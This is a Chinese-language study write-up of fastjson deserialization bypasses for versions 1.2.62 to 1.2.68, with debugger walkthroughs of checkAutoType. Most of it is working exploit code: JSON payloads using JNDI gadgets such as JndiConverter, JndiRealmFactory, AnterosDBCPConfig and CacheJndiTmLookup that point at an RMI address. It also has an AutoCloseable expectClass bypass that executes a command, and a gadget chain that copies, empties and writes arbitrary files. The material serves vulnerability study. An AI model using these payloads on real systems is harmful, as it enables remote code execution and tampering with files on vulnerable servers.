前言

依旧是放松了几天,然后想起来还有4和5还没有学,接着来吧。
这篇主要是1.2.62-1.6.68的绕过方法,以及调试分析

1.2.62

环境

  • 需要开启AutoType;
  • fastjson<=1.2.62
  • JNDI注入利用所受的JDK版本限制;
  • 需要xbean-reflect包,不限版本
    依赖为:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>  
    <dependency> <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.62</version>
    </dependency> <dependency> <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-reflect</artifactId>
    <version>4.18</version>
    </dependency> <dependency> <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency></dependencies>

漏洞触发的原理

漏洞产生的利用点是org.apache.xbean.propertyeditor.JndiConverter这个类,我们来看一下这个类具体的逻辑
image.png
很明显这里有一个jndi的注入点,但是问题是这个方法不是setter/getter方法,那么为什么这个点能被利用呢?还记得我们在进行fastjson反序列化的时候,除了setter和getter方法会被调用外,还会调用构造方法。
image.png
我们可以看到这个构造方法调用了super函数,所以他是可以调用到父类的方法的,这里我们就可以跟过去,去看父类的方法到底有什么可以被调用的点
image.png
看这里,首先明确一个点,它是setAsText方法(setter方法)这里调用了toObject方法。
image.png
然后我们会看到toObjectImpl,跟进去看一下image.png

这里是一个抽象方法,会被子类实现,这也是我们想要的

exp

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;

public class exp1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://localhost:1099/RO\"}";
JSON.parseObject(json);
}

}

image.png

分析

image.png
这里我们还是从checkAutoType开始看
image.png
这里AutoType为true的逻辑,先进行白名单的匹配,在进行黑名单的检测,由于该类是没有在黑命单中的所以继续向下执行
image.png
进行类的加载
然后就不分析了。
在新版本这个类就被添加了黑名单

1.2.66

环境及条件

  • 开启AutoType
  • Fastjson <= 1.2.66
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

漏洞利用

  1. org.apache.shiro.realm.jndi.JndiRealmFactory类exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import com.alibaba.fastjson.JSON;  
    import com.alibaba.fastjson.parser.ParserConfig;

    public class exp2 {
    public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String json = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"rmi://localhost:1099/RO\"], \"Realms\":[\"\"]}";
    JSON.parseObject(json);

    }
    }

    image.png

  2. br.com.anteros.dbcp.AnterosDBCPConfig类exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import com.alibaba.fastjson.JSON;  
    import com.alibaba.fastjson.parser.ParserConfig;

    public class exp2 {
    public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String json = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://localhost:1099/RO\"}";
    JSON.parseObject(json);

    }
    }

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import com.alibaba.fastjson.JSON;  
    import com.alibaba.fastjson.parser.ParserConfig;

    public class exp2 {
    public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String json = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://localhost:1099/RO\"}";
    JSON.parseObject(json);

    }
    }

    image.png

  3. com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import com.alibaba.fastjson.JSON;  
    import com.alibaba.fastjson.parser.ParserConfig;

    public class exp2 {
    public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String json = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
    "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://localhost:1099/RO\"}}";
    JSON.parseObject(json);

    }
    }

    image.png

1.2.67

环境及条件

  • 开启AutoType;
  • Fastjson <= 1.2.67;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

漏洞利用

  1. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import com.alibaba.fastjson.JSON;  
    import com.alibaba.fastjson.parser.ParserConfig;

    public class exp2 {
    public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String json = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"rmi://localhost:1099/RO\"], \"tm\": {\"$ref\":\"$.tm\"}}";
    JSON.parseObject(json);

    }
    }
    image.png
  2. org.apache.shiro.jndi.JndiObjectFactory类exp:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import com.alibaba.fastjson.JSON;  
    import com.alibaba.fastjson.parser.ParserConfig;

    public class exp2 {
    public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String json = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"rmi://localhost:1099/RO\",\"instance\":{\"$ref\":\"$.instance\"}}";
    JSON.parseObject(json);

    }
    }
    image.png

1.2.68

使用expectClass绕过AutoType

条件

  • Fastjson <= 1.2.68;
  • 利用类必须是expectClass类的子类或实现类,并且不在黑名单中;

漏洞原理

本次绕过主要的点是在checkAutoType函数的第二个参数expectClass,通过传入一个类作为expectClass参数,在传入一个这个类的子类或者是实现类来实现对checkAutoType的绕过,最终执行恶意代码。
但是这个子类或者是实现类的构造方法,或getter/setter方法必须得进行危险操作才可以哈。

漏洞复现

AutoCloseable作为expectClass参数,然后在写一个执行恶意方法的类来模拟一下
记得要实现AutoCloseable
VulAutoCloseable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;  

public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}

@Override
public void close() throws Exception {

}


}

exp

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;  

public class exp3 {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"VulAutoCloseable\",\"cmd\":\"calc\"}";
JSON.parseObject(json);
}
}

发现命令是可以执行的
image.png

漏洞分析

image.png
还是从checkAutoType这里开始分析,第一次的expectClass是null
image.png
因为autoType是没有开启的所以这边直接过了
image.png
这里从map中获取类,然后进行判断,主要判断clazz是否为null,有没有白名单,然后判断目标类是不是expectClass类的子类或者实现类并且不能是hashmap类型,因为expectClass在这里的判断中为null,所以直接就return了。
然后就出来了,接着向下走,一直到获取反序列化器的位置
image.png
在这里进行反序列化,我们来跟进看一下逻辑
image.png
首先我们能看到现在的type是AutoCloseable,继续向下调试
image.png
我们会发现又会进入到checkAutoType方法,但是这一次的expectClass参数不为空,它是我们第一次传入的AutoCloseable,现在目标类变成了VulAutoCloseable
image.png
由于存在了expectClass类这里的expectClassFlag为true
image.png
又因为这里的expectClassFlag是true所以会进入到autoType的开启逻辑里,当然没有白名单,目标类也不在黑名单中,所以就直接出来了。
image.png
接着又进入到autoType的关闭逻辑里,一样是直接就出来了。
image.png
还是因为expectClassFlag这里为true,所以会进入到类的加载里,但是cacheClass(缓存的)这个参数是false
image.png
这里对类进行加载之后返回clazz。
image.png
这里对jsonType做了个判断,如果是true的话就会添加到mapping的缓存中,否则就会继续判断是否是ClassLoader、DataSource、RowSet等类的子类,如果是的话就直接抛出错误,这里主要防的是jndi的攻击方法。继续向下。
image.png
这里是判断目标类是不是expectClass类的子类,或者是实现类,也是为什么我们的恶意类是AutoCloseable接口的实现类的原因。
image.png
最后触发执行

总结

第一个type作为expectClass参数,让第二个type,能够正常的加载之后被返回。
其实"@type":"java.lang.AutoCloseable"也就相当于@type,这样应该就能清晰一点。
注意点:恶意类一定 要是第一个type的子类或者是实现类。

漏洞利用

这里是写入文件
IntputStream和OutputStream都是实现自AutoCloseable接口的

条件

  1. OutputStream类的set或者是构造方法要能够指向一个路径
  2. OutputStream类的set或者是构造方法能够传入字节数据,并且传入的数据类型,是byte[]、ByteBuffer、String、char[]其中的一个,还可以通过其中一个set或者是构造方法能调用write,将数据写入。
  3. OutputStream类的set或者是构造方法要能够调用toString,hashcode,set,get,构造方法,这些方法要能调用OutputStream类的close,flush,write方法。

复制文件

这里使用的是:org.eclipse.core.internal.localstore.SafeFileOutputStream
依赖包

1
2
3
4
5
<dependency>  
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
//  
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.eclipse.core.internal.localstore;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import org.eclipse.core.internal.utils.FileUtil;

public class SafeFileOutputStream extends OutputStream {
protected File temp;
protected File target;
protected OutputStream output;
protected boolean failed;
protected static final String EXTENSION = ".bak";

public SafeFileOutputStream(File file) throws IOException {
this(file.getAbsolutePath(), (String)null);
}
//主要就是当target文件不存在且temp文件存在时,能够将temp文件的内容复制到target文件中
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}

this.copy(this.temp, this.target);
}

this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}

public void close() throws IOException {
try {
this.output.close();
} catch (IOException e) {
this.failed = true;
throw e;
}

if (this.failed) {
this.temp.delete();
} else {
this.commit();
}

}

protected void commit() throws IOException {
if (this.temp.exists()) {
this.target.delete();
this.copy(this.temp, this.target);
this.temp.delete();
}
}

protected void copy(File sourceFile, File destinationFile) throws IOException {
if (sourceFile.exists()) {
if (!sourceFile.renameTo(destinationFile)) {
InputStream source = null;
OutputStream destination = null;

try {
source = new BufferedInputStream(new FileInputStream(sourceFile));
destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
this.transferStreams(source, destination);
destination.close();
} finally {
FileUtil.safeClose(source);
FileUtil.safeClose(destination);
}

}
}
}

protected void createTempFile(String tempPath) {
if (tempPath == null) {
tempPath = this.target.getAbsolutePath() + ".bak";
}

this.temp = new File(tempPath);
}

public void flush() throws IOException {
try {
this.output.flush();
} catch (IOException e) {
this.failed = true;
throw e;
}
}

public String getTempFilePath() {
return this.temp.getAbsolutePath();
}

protected void transferStreams(InputStream source, OutputStream destination) throws IOException {
byte[] buffer = new byte[8192];

while(true) {
int bytesRead = source.read(buffer);
if (bytesRead == -1) {
return;
}

destination.write(buffer, 0, bytesRead);
}
}

public void write(int b) throws IOException {
try {
this.output.write(b);
} catch (IOException e) {
this.failed = true;
throw e;
}
}
}

exp

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;  
import org.eclipse.core.internal.localstore.SafeFileOutputStream;

public class exp5 {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\"tempPath\":\"D:/desktop/flag1.txt\",\"targetPath\":\"D:/desktop/flag.txt\"}";
JSON.parseObject(json);

}
}

image.png
flag1的内容会被清空

写入文件

这里找到的是:com.esotericsoftware.kryo.io.Output
依赖包

1
2
3
4
5
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>

image.png
output类主要是用来写内容的这里的setOutputStream和setBuffer方法可写入输入流,buffer是文件的内容,这里的outputstream就相当于前面提到的SafeFileOutputStream对象(对文件在物理层面进行写入),要触发对文件内容的写入就要调用到flush函数
image.png
在这个类中,close和require对flush方法进行了调用,我们选择require这个方法,因为write方法对require方法进行了调用,这里我们在去找谁调用了write方法,这里我们找到了ObjectOutputStream的一个内部类,BlockDataOutputStream这个类
image.png
构造方法中,OutputStream类型参数赋值给out成员变量,setBlockDataMode方法中调用了drain方法
image.png
然后调用了write方法,那么谁有调用了setBlockDataMode()函数
image.png
ObjectOutputStream中就存在,但是这是一个有参的构造方法,在fastjson中优先获取的是ObjectOutputStream的无参构造方法,所以只能找子类来触发了,类名:com.sleepycat.bind.serial.SerialOutput
依赖包

1
2
3
4
5
<dependency>  
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

image.png
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.alibaba.fastjson.JSON;  
import com.esotericsoftware.kryo.io.Output;
import com.sleepycat.bind.serial.SerialOutput;

import java.io.ObjectOutputStream;

public class exp4 {
public static void main(String[] args) {
String json = "{" +
"\"stream\":{" +
"\"@type\":\"java.lang.AutoCloseable\"," +
"\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\"," +
"\"targetPath\":\"D:/desktop/flag.txt\"," +
"\"tempPath\":\"D:/desktop/flag1.txt\"," +
"}," +
"\"writer\":{" +
"\"@type\":\"java.lang.AutoCloseable\"," +
"\"@type\":\"com.esotericsoftware.kryo.io.Output\"," +
"\"buffer\":\"YWJjZGU=\"," +
"\"outputStream\":{" +
"\"$ref\":\"$.stream\"" +
"}," +
"\"position\":5" + //指定长度
"}," +
"\"close\":{" +
"\"@type\":\"java.lang.AutoCloseable\"," +
"\"@type\":\"com.sleepycat.bind.serial.SerialOutput\"," +
"\"out\":{" +
"\"$ref\":\"$.writer\"" +
"}" +
"}" +
"}";
JSON.parseObject(json);

}
}

image.png
结合exp理解一下上述分析。